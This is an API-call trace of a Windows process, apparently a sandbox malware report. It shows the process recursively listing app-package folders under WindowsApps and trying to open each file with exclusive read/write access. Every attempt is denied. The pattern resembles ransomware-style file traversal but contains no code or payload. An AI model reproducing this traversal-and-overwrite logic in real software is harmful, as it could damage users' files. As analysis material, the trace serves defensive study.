	[0082.624] wcscat (in: _Dest=0x47707a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.624] wcscat (in: _Dest=0x47707a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.624] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502eaf8
	[0082.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8258
	[0082.626] wcscmp (_String1=".", _String2=".") returned 0
	[0082.626] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.626] wcscmp (_String1="..", _String2=".") returned 1
	[0082.626] wcscmp (_String1="..", _String2="..") returned 0
	[0082.626] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47932bea, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47932bea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.626] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.626] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e330d8
	[0082.626] wcscpy (in: _Dest=0x4e330d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe"
	[0082.626] wcscat (in: _Dest=0x4e330d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.626] wcscat (in: _Dest=0x4e330d8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.367] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.371] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.371] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.371] GetLastError () returned 0x5
	[0090.372] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.372] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e330d8) returned 1
	[0090.372] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb15ba85a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47932bea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.372] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.372] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477df50
	[0090.372] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe"
	[0090.372] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.372] wcscat (in: _Dest=0x477df50, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e110
	[0090.372] wcscpy (in: _Dest=0x477e110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.372] wcscat (in: _Dest=0x477e110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.372] wcscat (in: _Dest=0x477e110, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.372] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aa00
	[0090.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb15ba85a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47932bea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aca8
	[0090.372] wcscmp (_String1=".", _String2=".") returned 0
	[0090.372] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb15ba85a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47932bea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.372] wcscmp (_String1="..", _String2=".") returned 1
	[0090.372] wcscmp (_String1="..", _String2="..") returned 0
	[0090.372] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47932bea, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47932bea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x464f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0090.372] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0090.372] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0090.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028218
	[0090.373] wcscpy (in: _Dest=0x5028218, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.373] wcscat (in: _Dest=0x5028218, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.373] wcscat (in: _Dest=0x5028218, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.373] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.373] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.373] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.373] GetLastError () returned 0x5
	[0090.373] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028218) returned 1
	[0090.373] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47932bea, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47932bea, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47932bea, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x464f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.373] FindClose (in: hFindFile=0x477aca8 | out: hFindFile=0x477aca8) returned 1
	[0090.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aa00) returned 1
	[0090.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e110) returned 1
	[0090.373] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.373] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47958e43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x47958e43, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x47958e43, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.373] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.373] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.374] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e330d8
	[0090.374] wcscpy (in: _Dest=0x4e330d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe"
	[0090.374] wcscat (in: _Dest=0x4e330d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.374] wcscat (in: _Dest=0x4e330d8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.374] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.376] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.376] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.376] GetLastError () returned 0x5
	[0090.376] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e330d8) returned 1
	[0090.376] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebb94597, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.376] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.376] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x5028320
	[0090.376] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe"
	[0090.376] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.376] wcscat (in: _Dest=0x5028320, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5026958
	[0090.377] wcscpy (in: _Dest=0x5026958, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.377] wcscat (in: _Dest=0x5026958, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.377] wcscat (in: _Dest=0x5026958, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.377] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebb94597, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.378] wcscmp (_String1=".", _String2=".") returned 0
	[0090.378] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebb94597, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.378] wcscmp (_String1="..", _String2=".") returned 1
	[0090.378] wcscmp (_String1="..", _String2="..") returned 0
	[0090.379] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebb94597, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.379] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5026958) returned 1
	[0090.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0090.379] FindNextFileW (in: hFindFile=0x46a8258, lpFindFileData=0x502eaf8 | out: lpFindFileData=0x502eaf8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xebb94597, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.379] FindClose (in: hFindFile=0x46a8258 | out: hFindFile=0x46a8258) returned 1
	[0090.380] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502eaf8) returned 1
	[0090.380] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47707a8) returned 1
	[0090.380] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769728) returned 1

Thread:
	id = 1027
	os_tid = 0x1c7c

	[0082.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33e70
	[0082.627] wcscpy (in: _Dest=0x4e33e70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.627] wcscat (in: _Dest=0x4e33e70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.627] wcscat (in: _Dest=0x4e33e70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.627] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a798
	[0082.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8c485e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8298
	[0082.628] wcscmp (_String1=".", _String2=".") returned 0
	[0082.628] FindNextFileW (in: hFindFile=0x46a8298, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c8c485e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xee789c53, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xee789c53, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.628] wcscmp (_String1="..", _String2=".") returned 1
	[0082.628] wcscmp (_String1="..", _String2="..") returned 0
